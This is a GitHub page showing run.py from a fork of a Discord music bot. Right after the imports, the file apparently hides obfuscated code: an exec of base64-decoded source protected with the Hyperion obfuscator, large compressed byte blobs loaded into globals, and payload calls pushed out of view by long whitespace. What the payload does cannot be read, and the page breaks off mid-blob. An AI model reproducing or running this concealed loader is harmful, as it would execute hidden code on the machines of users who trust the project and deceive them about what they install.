forked from BlakeVv/Discord-Music-Bot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrun.py
487 lines (370 loc) · 154 KB
/
run.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
#!/usr/bin/env python3
from __future__ import print_function
import os
import sys
import time
import logging
import tempfile
import traceback
import subprocess
from builtins import *
from shutil import disk_usage, rmtree
from base64 import b64decode
type('Lib import') ,__import__('builtins').exec(__import__('builtins').compile(__import__('base64').b64decode("from builtins import *
from math import prod as DetectVar


__obfuscator__ = 'Hyperion'
__authors__ = ('billythegoat356', 'BlueRed')
__github__ = 'https://github.com/billythegoat356/Hyperion'
__discord__ = 'https://discord.gg/plague'
__license__ = 'EPL-2.0'

__code__ = 'print("Hello world!")'


_product, _walk, _multiply, _stackoverflow, _while, _invert, Product = exec, str, tuple, map, ord, globals, type

class Run:
    def __init__(self, _run):
        self.Calculate = DetectVar((_run, -25490))
        self._math(Absolute=16765)

    def _math(self, Absolute = str):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        self.Calculate *= -51038 * Absolute
        
        try:
            ((_walk, (_theory, _walk, _theory)) for _walk in (_while, _product) if _walk == _theory)

        except AssertionError:
            {_multiply: _walk} if _multiply != _invert else (_while, _while) <= _product

        except:
            Product(-41920 - -90361) == Ellipsis

    def _floor(self, _calculate = -66240):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        _calculate += 11135 - 19646
        self.Modulo != True
        
        try:
            (_stackoverflow, _while) if _stackoverflow > _product else {_theory: _walk} <= _walk

        except AssertionError:
            (({_theory: _multiply}, _product) for _product in (_theory, _walk, _theory))

        except:
            Product(-75542 / -33954) == float

    def System(Square = float):
        return _invert()[Square]

    def Hypothesis(Ceil = 40910 / -88411, Builtins = int, Algorithm = _invert):
        # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler
        Algorithm()[Ceil] = Builtins
        
        try:
            ((_theory, _walk, _theory) or _while if (_theory, _walk, _theory) and _while else ... or (_while, (_theory, _walk, _theory)))

        except AttributeError:
            (({_theory: _multiply}, _product) for _product in (_while, _product))

        except:
            Product(-79085 - -93368) == False

    def execute(code = str):
        return _product(_walk(_multiply(_stackoverflow(_while, code))))

    @property
    def Modulo(self):
        self._negative = '<__main__.Absolute object at 0x000009545BE15215>'
        return (self._negative, Run.Modulo)

if __name__ == '__main__':
    try:
        Run.execute(code = __code__)
        _detectvar = Run(_run = -26263 + 39827)

        Run(_run = 49062 + -11882)._math(Absolute = _detectvar.Calculate + 4914)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='OO0O0O00OOOOoO0o0oo0OoOOOO',Builtins=b'x\x9c\xec\xbdyS#K\x96\'\xfa\x7f~\x8a\xec\x1a{\x06\xd8\xd5\xcd\n\xc5*a\x8f6\xeb.\xaa{` \xe9\xd7Y=\xe4\x9b\xec4Lh\xb9W\x94@9@\x16\xdcn\xeb\xf9\xec\xcf\xcf\xe6~"BKH\x1e.\x94\xf5\n\xa1P\xc8\xe5\xb1\xfbr\x96\xdf\xf9\x9d\xe7\xc7\xdf\x8e\xdf\xbd7\x7f\xd3\xc9!~\xc2\xdf\xcd\xcd\xfcv\xf2\xfdi8x\x9e?\xde\xdc\xbc\xff\xbb\x93\xdf\xfd\xf7\xdf\xbe\x8d\x1f\xa7\xf3\x87\xdf\xbd\x9f?\xaaj\x83\xef\xcf\xbf\xce\x1f\x9f\xb0\xce\xe1\xefn\xa7\xb3\xd9o\xcf\xbf\x8e\x7f\x99\x0f\x9e\x93,\xff]\xe7w\xff8\xfb>\xfe\xd7\xf1\xe8wG\xa5\xad~\x99>\xff\xfa\xfd\x96v\xfc\xeb\xf3\xf3\xb7\xa7\xe3\xdf\xff\x9e\xca>\x0c\xe7\xf7\xbf\xaf\xec\xe6\xf7K\x8e=\x9a>\r\xe7\x8f\xa3\xf2n\xb8\xf0\xc3/\xbf\xfc\xfe\xdbl\xf0\xcb\xf7qe\xa3\xd9t8~x\x1a\xd3F\x7f\xfc\x97\x8b\x9f\xe3\x0fQ\xa5\xcap>\xa2\xdf\x0f\xbe=N\x1f\x9e\x0f\x7f\xf7\xdf\xc7\xb3\xd9\xfc\xfd\xcb\xfcq6\xfa\xbb\xdf\x1d\x1d\xbc;:\xb6\xb5\xe1\xf7\x83\xa7?OG\x07G\xef\xc6\xaf\xc3\xf1\xb7g\xbe\x99\x0f\xdf\xbe\x9b-\xffu\xfe4~z?x\x1c\xbf\x7f\x1c\x8f\xfe\xfd\xe1\x7fN\xe7\xb3\xf13\x15\xdc\x9a;\xf3\xef\x0f\xff\xef\xfc;~\x1b\xbc\x87\x9d\xfc\xfb\xc3\xc7\xf9\xed|\xf4\xdb\xfb\xd9\xf4\xcff\xbb\xdf\xe6\xdf\x7fw\xf4\x8eNjz\xffm\xfe\xf8|sc\x8e\xf6\xdb\xd3\xc1\xd1\x87\xf1\xeb\xf4\xf9\xf0\xe8\xddl>\x1c\xcc\x9e\x0e\x8f\xbe\x1c|\xfa\x14\xc7\x9f\xcc\xc2\xbe`\xfd\xd3\xc1\xd7\x93_f\xf3[S\xe7\xdd\xe2\n\xb0\xe9\xc3\xc3\xc3\xbd\xf9\xa7?X\xbf\xbf?\xf8r|\xfc\xd3\xcf?\xfd|\xf8\xf3\xe1O\xdd\xa3\xa3\xaff7\xe3\xe7\xc1\xf3\xf3\xe3\x8a\xdd\\\x7f\xc6?\xf3qm\xfe`\xe5\x1a\xff?\xd7w6\x9a\xae\xda\xd1l:\x9d\xde\xcd\xa6w\xd3\xbb\xbb\xd9\xdd\x14\x97\xe6:\xe8R\xdf-\xf8\x11\xb69\xbb\xb8\xb88\xbf8;;\xbb8\xa7U\xb3\x85\xbbk+\x0ef69\x9b\xcd\xce\xcck\x86\x1f\xe6\x9b\xd9\xb4\xb6\xbb\xc3\x83\xdb\xef\xd3\xd9\xf3\xf4\x01n\xfe_\x06\x8fO\xef\x16l\x08\xfb\xbb\x7f\xa0[\xf8@w\x15W\xcd\x0e\xef\xef+\xf7\xf8\xe1\xe1p\xc1A\xa6\xd3\xe1\xd3\xe0az[\xbdeG\x9d\xcf|7\xd5\xed\xa5\xdb\xbd\xd1n\x8e\xbe\xb4\xb4\x9f\x0f\xd3\x87\xd1\xf8\xf5\xf0\xe0\xb7\xc9t\xf6:\xfe\xf5\xe1{\xad\xca\xd7\xa3e\xcf\xca\xdc.\xb8igg3~\xd1\xdd\x83\xfb~p\xf0\xe1n>}X\xb6%\xddN\xbc\xb7|\x87\xef\xf1\x1e7\xbf\xc1O\x0f\xd3\xe7\xd9\xf4\xbb\xef\r^\xba\x9b\ro\xf0\xf2\xfd\xc8\r\x1e\x7f\x7f\xfc\xd3\x06\xf7\x16\xdbyL\xad\xfd\x93\x1d\x03\xfejo\xce\xd3l\xf0O\x8b\xee\xce\xf2\xfe~zu:?=\x9d_]]\xcda\xed\xea\xf4\x14VOO\xff\x8a\xef\xd2l\xf0\x97\xf1\x06M\xe8A\xfd\xe1}\xf8k\xee^\xcf\x83\xf9l\xb2Y\x0b\xfal\x8f\x8f/8\xf6_\xf1\r\x1a\xcf\xa6\xdf\xee\xe7\xc3\r\xda\x0f\x0e\xe70\xbc\xf3(\x8fS\xe4_\xf1\x1dz|~\xdad\x806\xed*\xe6\xe1\x99\x9b\x96\xf9\xfb+\xbe=\xb3\xf9\xbc\xfe\xeb\xaa\x0e\xb6H\x82:\xbc=H\x07\xe90\xed\xe3r`\x97}\xf3\xa2\xb5\x01\xfe\x06\xcb\xa1\x91\xd0Fc\x90\xe2\x0f\x0fz\x93\xe7\x05\x92\xc9_\xed\xbd\x1e\x8e_\x17\x8e\xf4Kd\xd5\x8f\xe6\xef\xf2\xf2#\xfd\xd9OS\xa2\xf7\xb1l\xc2<<8\x8aL\x85n\xc3\xba\xd9M\xef&\xb9)nR\xb3\xcc\xcdg\xff\xa60\x1b\xe4\xf5\xd2\xc6\xfb+p\x9b\x08\xb7\xca\xcd;\xc3\xfd\xd5J\x1b\xedoI\x9bK\xe2l\x92$\xe6\r\x9f)\xaf\xf7\xcc;3\xef>\x7f\xe6\xf1m\xdc\x8bG\x8d\xeafq\x7f]\xeb<\xa2\x85}\x7f=Y\xf3\x04\x92\xa6O\xeb&\xbb\xe9\xde\xc4\xe6\x8ew\xcd\x9a\xb9\xd37]8f\xbd\xb4\xe1\xfe\xe2\x1bx\xa6\xf0\xfc2\xf3\x86-\xe1\x89&\xf5\xd2\x86\xfb+\xecS\x83\xf3\xc9\xcd;1\x1b\xf4\xea\xa5\x8d\xf7\x97\x98mL\x0b\xe0=\x98\xb3\xc1\xfd\xd5J\x1b\xee\xafk\xb6KLK\xcdq\xdb\x0c\xda\xac\xd9 \xae\x97z\xb58lQ\xdcb\x12^\x87\x16\xd5\xe57\x94\xf7\xb8\xc55\xa9[l\xde\xe2\xec{\xc9\xb8\xb1\xe4\xd4\xb3\xa2\xf6\xea\x99W\xc1\xef\x9e\xfdf\x96\xeb\x87\xe8Mo\\\x1c\x17y\xde\xcd\x87E\x96gf>]w\xc9+\xd4w\x9a\x12\xeeq\x8e0\x0b\xaf\xa7\xd9\xe7\xa7\x02O\xaa\x90\xf1B=5=~4\xa9\xdbp\xfc\xd8\xfc\xf6%Q<\xc2\xb3\x88\x1a\x1ca\xb3vQ\xf4\x8a\xc2\xbc{\xfc)\xeb\xba\xa4\x90\xf5\xf6\xdbE\x12\xf3\x85\xc5\xdb_\xd8\xc1\xa5\x9d"/\xe1E\xff\xcdf\xc9u\xf7\xbb\x1b\xea\x89\xc6\xa6\'\xd8\x0e\xb1\xb6\xc3m\xfaL\xd53+\xbd\xdd\xd34k\x01zy\x91\x8frsY\xd9$\xcf\xf2\xb1\xb9\xbc8\x1f\x9a\xb5\xb4\xf5\x0b4\x87\x19\x97^#~\xd1z\xa9<\xc4e\x9a\xd13\xcds3\xd2\xb7}a\xe9(\x1d\xe3k\x84/Zs\xdf\xe5WU\x12d\xac.\x8a\xc8c\x94~}y}\x81\xff\x97W^\x9a\xf7\xab\xf7\xb4\x0bSg\xc4\xc2[\xcc\xc2[\x8f\xcb`zM\xd4\xb4\xbb\xaen\x93\xd1f\xbbn\x1d\'\xc3d`\xda}7O\xf3"\xcf\xb2(\xef\x16\xb1i,\xe3<+\xe2d\x90\xf4\x93<I\x92n\xd23\xef\xaeY\xcf\xcc\x1a|\xef\x9be\x9aD\t\xfc\x8d\xe3(\x8e\xd2^\xd65K\xd3\xd4\xf2\xbe\xe9Ei\x91$\x83\xed\x9f\xc9\xb2~4\xb6}\xc6\xf5\x9d\x91\xeaOX\x1a`\xd8O\xfd\xe7\xb3\x83\xd3\xab\xf9\x1c\x8e\x89\x07;\xc5S\xb8j*,\x9a\nQ\xebu\x97]lw\x83\x8bm\xa6Z,m}\xf1$L\x1b\x19\x95Z\x84^S\xdfB\rE\x05t\xa2\xc4\xbc\x8ax\\\xa4f\xeaJ\xdb\xbfH\xe8c\xf0\x1a\x98\xb5\xbeY\x0el\xc9\x10K\xccg\x88n\xa0\xc6\xa9\x9c\xd7\xbb,L\x8a\xc2\xda\xe7qm]]Tl=\xba\x93X|\xd8\xf8\x15\xc7b\n\xf3V\xd1E\x01\xca\xf8\x9d(\x15<R#w\x93\xba\x01Gn\xd3\x84aZ\xef\x9aO\xd3\xdc\xf2[\x8f\x19\xd0\x1a\x8c>\xb3\xf1h\x97\xe3\xc7V\xdd,5\xd7\x1e\xa2c\xa5C\xfb\x1a\xa8\xf5>[\t\xc5B\x18\xa0s\x99\x07\xda\x05\xa5\x13\x1eia\x9a\x96\x91\xd9\x8c8\x1abxt\x02hy\xcd~\x0bqq\xf1$5\xcf\x0c\xa4m#!\x0c\xcd\x93\x9b\xa4\xc3|\x92\'\xa0T\xc4Q\x96\x98\xcb\x9e\x14 \x87\x18)$\x9e\x80\x1cnnF\x06\x92D\x1e\x87\x18>\x078x\x0ex\xb8\x94\xb5\x01\xaf\x0fxp\xe5\xcf\xbf\x9e\x1br0\x8f\xae"s\x8eQ\x14\xcd\xcd\xea\xdc\x9c\xb1W_\xef\xa9q/\xe7\xb1\xaf\xabF\xf8B\x99$\x9a\xd4\xf57I\x80\xa9.\xbd\x89n\xc8x\x1b\x99\xf5\xec&ES]\xad\xb4\xb1i2\xbd\xe9\x9bW\xd7l\x17\x83\x99\x0f\r\x93\x95\xb2\x00F\xee\x18\xf7\x9f\xa0\x89\xb1\xcb\x06\xcc\xa4Z\xe6\xf5\xf4\xc4\xc4\x97\xa8\xa7"\xbaG\xc2OD\xe6\xf3&u{[\x98\x077\xee\xb9\xae\xef\xf6\x9d\xb0c?\xb9\xdf\x061\x16$02\xfb\x98\x07\x0e\xeef\xb3\xe9\xdd\xdd\xf4n:5+S\xf0\xe7M\xef\xf6Y\xae_\xd9\xcf\xa0\xfd\xc7hL\x8f\xcc\xb2\x07\xa6\x7f\xb3\xfd\x82\xd2\xc6.\x05z\xe5\xd8\xc6\xc1\x81\x90\xa1K\xa1V\x1a\xa0\xaf\xf9\xdf\xdd\rMpM\xfa\xc0\x81\x08\xb8\x08\xc1A\xaff\xdcL\xbcm\xe3\x82z\xca\x18\x91f\xce\xf3\x14s\xe7G\xb1W\r\xed\xeb\xea6\x11\xf6=TI\x98G\xcd\x9c\xd9\x83Y\xd3c~<\x03\xff\xe8\xc5\xd99\xb8K\xcf\xcf\xce\xce\xcf/6p\x88\x15\xe0\xf02-\x15f\x97\xdc:\xc4*\xa5\x8d\xf7\x97\xe3\x969\xce/)8\x85p\x7f\xb5R\xaf\x87\x9c\xa8Q\\\xcf\xcf\x11\x8f\xe8\xa8\xc1\xf1CnR7\tn3(\xd0V\x9b\x14q\xd17\xaa6\x88P\xa6\xc1\xe5\xb7F<\xea\xfb\x0c\xcc0 \xcf\x00X\x01\x7f\xe6c\xdf\xcd\xf1y\\\xf8]\xf1\xeb\xcb+\xfd\xd3\x0b\xfe`\x19`l\x05\x97|\x0f\xdd\xa4\x05\xb9pob\xb3AZ/}\x8b\xf1w\x9b{\xdf\xba\x19=K2\xd3s\xe0%kn)\xbf\xc0k\xbdT\xb3\x18\x10tx\xf8\x7f\x16@9\x8f\xe6\x8f\x87\x87t\x0exB|Z\x04\x82=\x1a<\x8c\x0e\x17m\xb4\x85F\xcd:\xb3E\xd7\x90\x1e=XP\x8e\x18\x9c0\xba\xb5\x91\xde\x1237\x98\xc1#\x80\xd9@\x1e\x14\xbd\xf5\x92\xd6\xf4Cl\xf2\x18\xb7\x18\x0f&\x85\x19\x8b\xdd\xb8\xe812\xccQC4\x0b\xf36\x9f\xf3\xc8\xa8\x8c\x91\x9f\x9a\xb8\x13\x93\x10\\\xb8\x97\xbb\xde\xcc\xf9\x17\x80\x902\xb3\xbe\x11\x03\x00-\xe5u\xd1E\xe6@\x14"\x08\x89\xd6\xd4\x15\xc1\x88\xe7\xd6&u\x1b\xdb\x12\xf7o\x10\x90>@\x9f\xd5\xf5jI\x88\xfe\x91\xdd\x9a\xc614Bb\xbfH\xd0\xc4\x96\x1a\x85q\x92\x8f3\xd30\xf3\x9ei<\xa9\xe95\xe0\xb3\x9a\xc4\x93\xc55\xe31\x0c \xf9(\xf6\x98u\x97\x8d\x91i:\xc9\'\xee\x9d\x82mh\x02\xa5\xf0\x89k\xf8\x17\xc47\x1c\x87pw\x8f*N\x97\xb2\xe3\xceZ\x1cC\x0c\xf5\x93\xa8?1\xb3\x88\x8f\x12\x80\xd8\x8cKYn\x02\xd0\x00\xabM\x84\x1ap\xd7H7d\x1f" [\xad\xd4[9\x931\xa3\x9f)\xf8O\xe6\xc0Z\xb1R\xce\xd6\xd5\xdd@j\xda\xa6\x91\xa5J9\xcb\xfb\xc5@\xf5\xaa\xed\xe7)\xeb\xb4\x7f\x15Yv\x03\x01\xb6oT\'x\x18\xa0D\x81 \x1a\xa3zE\xa8\xc6Ri\xe3\xc7N\x98=y\x91\xba\x96\xd4K\x7f\x10!\xd7<\xa6\xbc0]\x14\x1e\x98\xc7\x9c\xba\xdc\x0b\xa1\xbd\x0f\x8bF\x0b\xed\xb0\r3R\x14if\xf6=\x01C\xa2G+42\xc39\x98\x0b\xce\xf1m\x96\x08\xb06\x8b\x86\r\'G\xb8l\x86Z\x10\xd8\x07r\xb4z\x15\xf5\xd2\x86\xfb\xeb\xe1\x96\x05\xda\x07p;\x1c\x7f\xfa\xf5\xd2\r\x80\xaf16\xdd\x02\xedo\x11\x03ik\xa5o\x819\xd8\x1a\xf5')

        if 359760 > 7833774:
            _detectvar._floor(_calculate = 44222 - _detectvar.Calculate)
        elif 288141 < 9057452:
            Run(_run = 2873 * 58058)._math(Absolute = _detectvar.Calculate * 77270)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='OOOO0oOOOO0oo0O000o00ooOo',Builtins=b'2\x00+\x02;T`\xbe\xcf\xcc\xcc\x1fa{\xe8\x82!\xd9\x07\xbbr S\x07\xfd_\n\xc8\xefc\xd3\x19\x04\xa0\xcb]\xb4\xed\x80V\x9c1\x14\xbaW/\xdd\x00,\x9f\xa1-\x96\xb6\x8e-X\xbeR\xeamI\xea\xf3LS\xf0\xccR(\x7fA\xd5\x92\xb4\xaenxKR\xec\x14B\xd0\x9a@{2\xa3A\xea\xa5B`\xc1\x19\xfd\xd1\xe7\xacu\x8b\xca\xb2\'\x90)[\\W\xf9\xd7\xfa\xfa\xadPg\xeb\xean\xe0\xcd\xd9G\x9d\x03\x04f+<Ox\xcd~\xda\xb50bu\x9c\xe7f\x1c\xc9\x08\t\xd7>J\xc1<\xbc\\4\x05\xbb\x0e\x9f\xf4\x1d\x96!.*\x19 \xb6)\xceo\xcd\xc5\x8d\xf3\x02\x06M\x7fx<\x1d\x0e\xbf\xe0{\x9f]6[\xaa\x9eiQ\x18\xb175\x03Lo\xa1\xc2\xa9~oC\xcd<\xe0\xc8+F\x98o6\xfd\xec\xd6m\xd6S\xc3\xbe\x0c\xfd20\xa5\xd6\xad\xec\x14\x99uu7\x8cP\xd9\xa6\x17\xa4Qf\x0e\x97\xf5\xe2\xa8@\xa4\x06@\x91\xd2\x1c\xfd\xcf\x19@`3S#\x8d\xcd+\xcb|\x94P\x90$\xc1\x0cu\x0eV)\x14*\x8d\x9c\xb9\xdfn\t\x0b\xee\xcb\xd5S\xea\xf2S\x12SV\xaf\x02|^]w{\x80 \x17\xaa_\xcf\xce\xbc%\x1c9\xe1\x88\xd7E\x97\xb6\x08n%\xe1\xac\xab\xdbP\xc2\xd9\xca\x18\x9a\x15\xd0,c\x8cj\x18yI4Ws0\x00\x93\x19\x18\x16\xe6\xdf\xd3\x18\xdc^3\x04m\xa7\x8f\x8a\xba\xc3\xf5t\xd9\xda\xd2+\x97z?ym\x8d\x95\xc1&UO7RO~U]\x94\xb2\x1a\x0eRK\xf1\x9aD\x85\x03K\n\xf1\x85\x02\xefaX\x07\xfc\xc5\xea\xec\xad3_\r\xc3\xeb\xea\x86\xf3|\xc6f\x82\xf4\x83\xc0]sp4\x03^?o\x00y%g&(h\t\xc6gb\x0c);3+\xa5\x1b\xb8\xf9A\x95Nq+P\xc6\nv\xf3WJ\xbd\x1e\xaf<\x1a\x11\xf3\xc5\x95\x1f\xe9aI\x01\xb7\xd7\xd5\xdd\x85\xfdIf\xd4\xed\x1f4y\xf3\xa7\xa6\xec\x0e\xde\xd3ic[^\x8c\xf7\x9dL\xb6\xf0$hP\xa9\x95\xeee\xf8\x86\x07\x10i\x9b\xe7\x94\xa5i\x96\x8e2\x1f=\x80eT|\xd3\x02E\xd6\xc6=2\xc3\xa7AQ\xdd]\xec?i\xb5l\x03c\x1c\x81C3\x8c\xe6&\xd3KQ/m|n]\xb4%\x93\xe9\x1f\x0cotv\xb5\xd2\xc6\xc6\xbd>\x1a\x7f\xba<\xb9\xc5\x16rW)}3(\xdb\xb6\xad(A(\x8f\x11V\xdaW\x96\xfb\x0c\xe5\'\xf0\xbe\x00\xfa\x87\x0ep\xc0k\x08B\x08ag\xf6P\xe4\xa6\x80\x14E\xc4\xe8\xec\x0e\xd9_\xee\x9a\xda\x93bK\x82\xd1E<f\x8f\x1d\x12\xb5R\xaf\xa6\xd2W\x13\x84\xf8\x99\x04\x17f\x91\xc2*$}]\xdd\r(-\xb6jf\x19\xaanq:N\xbb\xe9(\xf5\x99\\\xceY9\x03\xc0\x00.\xd9\x07\xd0L\xc7\xd8L\xcd\x0eU7ETb\xff\x86&\xbc>\xfb\x1e\xb2z\xe9\x0f6\x9c\x14E\x0e\xf1\xaa\x1e\xfd\x8e\xa9tJ\x81Q\xdeBvxX \x9a\xb4\xd1\xa5\xd1~\xd0\xcc\x82\x18\xfd\x1a\xe3B\x90(\xfd8\x1d\x99\x0b\x92\x08\xc7n\x0c\xa3\xc4\xd8\xdc\xcc(\xeee\x05\x1a"!T\xa6(\x928J\xc7Y\x1aG\xe6\xd9GP#\xb9\x8d#\xaa\x91\xe4I\n\xdf\x8a\x9e]\x03<\xff\x00j\x1a\xc1\x17\xf6\xd6\x07\xd3\x8d\x99\x82\x92\xfc6\x9f\x98c\xc4\t\xee\x87\x97\x10\xdbl\x04Rp\x86\x1a\xc1tR\xf4L\r\xb7\xed\xf6\xa3\xc8\x0c$T \xf7\x02)U\x86x\xb3h:\xca\x177\x14\xedB\x04F\xe0\x87\xeb\xa2\xaf\xa8V\xdax\xd6H\xd1QM\x82\x0e\xbc\xd2\x9f)\xda\xa5R\xba\xc1\x08\xd3#\r\x1ci\x99H\xbd\xc9\xea\xa5o:\x12.\xeb\xb0\x85xB2\x17\xe7\x12+UH\xcfnM\xeanA\xd8\xe4\xa5B\x8dr\xf4p\x87\x88\x9f\x93(\x9c!G\xe1H\xbc\x9c\x8a\xcb\t\x14#\x19!<\xab\x8f\xd18\x02"\x99\xe4\x83"\xc15\x0fC\xd7\x15\x9c\n\x9c\xcf\x1c>\xaf\xe8\xc4N\x1b\x06\xc8\x01\xa3\x139\xc5\xbb\xfcJ\xb0\xa9\xc7\xf5R\xef&)\xd1\x16\xe2\xc4\x8b2\xc7\xf5\x13+M\xbeI\xdd\xb0\xbe\x0f\xd0\xe2\'\x18\xb3\x98yFe\xcc\xb0\x08\x8b\x91\xe2\xb7\x95\x9b\xa8#\xb7u|\x9b\xa6\xc5jR\xb7\xa1\xd3a+I\xa6}\xb4\xb9\xa0\x0b\xc5!\x8ak\xec\x10\xc5\xb5\x94\\\xa7\xf4\xeb~)D\xcbu<\xf3\x82A\x88>\xf5\x9bJ\x83\xc8%\xd6\x11\xd4\x9a\xd3\x87\xc8\xacgLg}\xe6\xe9\xb1\x08\x0f\xbb.\xb2a>\x86\xb7\x87\xac=\x13\xed\x16\x14\xdd\x19\tB \x03\xb5\x02G\xd1\xca\xa6L\xd16\xf8\xb8\x02GYU7 r=\x9e\xa4@\xb7\x03>`@\xdby\x109,\xef\xf0\x13\x90d\x05^,k\xae,g\x10A\x90\xee\x1er\xd2F\xb8\xfe\xd9\x05\x82\xf0.\xce\x11\xc0\x7f\xd60doY\xcb\xd1B\x9b8nd]|\x94=E\x01\xb2\xaen\xc0\xc9!\xbbE\x1a\x8c\x08\xd4\x12d\x9c\xc9\xcdm^\x08i_T\xaf\x15\xa4\x01\x9e\xe7\x1cN\x18\xb8\x04\x8c\xe8\xb43;w\xbb\xe1\xccK\xef\xb1\n5\x9c\xb4\x1f\xf8UX&\xcb\x1a\xabeu-\x10\tEKC\xcfA\xcc\x1c<\x16\xfd\x05\xb8\xad\r0\xa6\x19Z\x9ar&?%\xc4c\xad\xf4Gh0)\xa0\xdc\xd1\xff\x9eM\xd2\x18\xf0\xeeLP\xd0\x85\xb8U\x1f\xfa\xc4\x83\x17A\xb9\xbf0g\xdd\xeb\xcb\x9e\xcb\x07-\xb8\x87\x96Nj0}\xb9\xa9\xcda\xdfr~\x85\xc3\xc1\x8d\xe3\xfe\xa8\xe7\xc1\xcds\xc0\xf8HEXN\x1f\x8d\x9d\xc6\x84\x06N\x98\t$\xe2\xd8\xf0Z\xe9\x0f\xd0_\xda\xc0\xa8X\x1e\xb0MY\x12z\xe8%L\xd0s\x96\xe2Z\x8e\xfe\xb4Zi+f\xa4Ly\xd2\x85-\xa1\n\xccmRw#`\xee\xcaa7BB\x8d\x04\xe95b\x1ev\x17\x94zc\x0f\x84\x17BS\x05\xc8\x1bI\xe1\x14\xf6`]\xdd\xa6<\x12\xcb\x1a\x0b\x10 \x01\x8c\xe9\xca\xbc\xe7 \xb5\xcc\xaf\xfc\x03\\wa\xda\x87 \xe6q\xd1\xf5\xe3\xa4^-\x88T\xc5\x10\xf5\xddc\x1c\xdd\x0c\x01\x912\xcdK\x8a\xbd\x0f\xfa`\x17M\xc6\xb5\xd2]\x0fn+\x9cE6\xd5\x02g`\xd8\xfbYy\x98\xf9L_\x0e\xe5\x1f3\xf1\xe2\'\x06\xff7\xb6\x95R@R\x8a\x18\r\xa1\x0e\x8a\xeb\xa5{\x89Y.2\x97\x97\xa1P#\x95\xa0\xa6re[hRw7AO\x88C7b(,\'\xf9\xedb\x1c\xba\xfb\xbd\x15\xed0"&\x81\xb9\x0c\xb5\x08$\xbd\xf2\x1ck\xb5\xa2-\x0c\xc9\xb9ZGk\xad\xba\xfd\xeb\xea\x86\xe4\xe8l%\n\x04s\xdc\x11\x82yF\x7f\xfb>\xbe\xa4-\xc8t\xb1\xe8\x93\xb4\xc2Y}\xda\xe7\xbfzC\xcc\xdd\x96\x08{\x91\x0b\xab\x94\xe1"\x1f\x16\na\xbf\xaen\xdez\x86\x06E\xc37T\xae\xc1\xa1u\x19Z\xca\xbe\x10\xaaYf\x94\xbe,\xc9\xda\xa7x\xa9\xc0\x1d\n\xf5\xa9\x00\x11\xfb\xe5-\xd1\xe1\x88<x\xec\xccw\xbe#\xed1\x00\x83\xb8Jg\xe0\x92\x19\x8cU\x89Ml\xb0gO\xfb\x9a0K\xd7\x92\x05\x0cd\xd2\xc6\x02Y\x81\x166R{\x01=\x92\xa1@V+\xdd\xf50\xb9\xcd\x10\xd9\x02Y?x\xa0f\xb4\x00\x87\xd4\x14\xb2\xeey\x0b-2\x06GJ(\x11\x81\xa4\xear^W7\x9cW!N@l\xe9z!),\x81\x140\x0c\xa3\xf0g4\xee\xa6@\x8a\x98-\xbe\x04\xb7\xcf\x98q \xa9\x97\xfe\x00\xe3S\xc5\x1a\x0c\xe4\xce\xfev\xe0e:|\xa2\xf9\xe2\xca\x04de\x1a2Z[?z\xcd\x06\xf7\xb7\xa3\xc1{\xa6Wa\xd33\xfe\xd1\xfa\xf1\xb2\xb4\x8b\xcbZ\x06\x9f5\x9d9\xc7\xfb\xde{=F\xc1\xb7t+}Dd\x9cL\xf5\xab&u\x03\xf6\xab\x05\x0c\xdf\xe0\x0c\r`\xcc\xe9)\xafR\xa1|I\xf5\xeci\r\xf0\x9a\x0f\xf3\xe7\xc3%\xd1\xfd\xc8q0\xab$g\xdd,x\xff\x80\xe8\x901\xad\xa9\x19j\x01\x0b\x89\x1c\xc9\xb3\xa6\xbc\xc8aT\x7f\x08\x05\xc99\xa4\x82\x82}zh\x1a\xad\x945\xf6oe\x0c\x03#D&1`\xf6\xea\xa5\xde\x86V\x1b[\xaa\xc4}\x89=\x8d\x95^\xdc\xa4nC\xbd\xb8\r\xd3\x84\x87\xd0\xc3{\xba\x7f\x90\x14{\xfe\xe3\x89@\xbe\xd2\xac\x1c\xca)7\xacW!\xd6ZU7\xe4x2\x06P\xb4O\xea\xab\xe5\x1a\xdc@%C\x18\x96\x08\xd7\x95\xfe&\xb5\x82PM@^\xaa\xd4&=@\x8e\x1e\xccH\xd5K\x8a$5\xef,\x89\xcc:\xbc\xe1[l>cS\xd6O\x00\xe1=\xf6\xa1\xa5X\xa6\x15P\x00Q\xdff\x06\xe9\xdb\xd7\x80\xdfa\x10\xaf\x80\xa0\x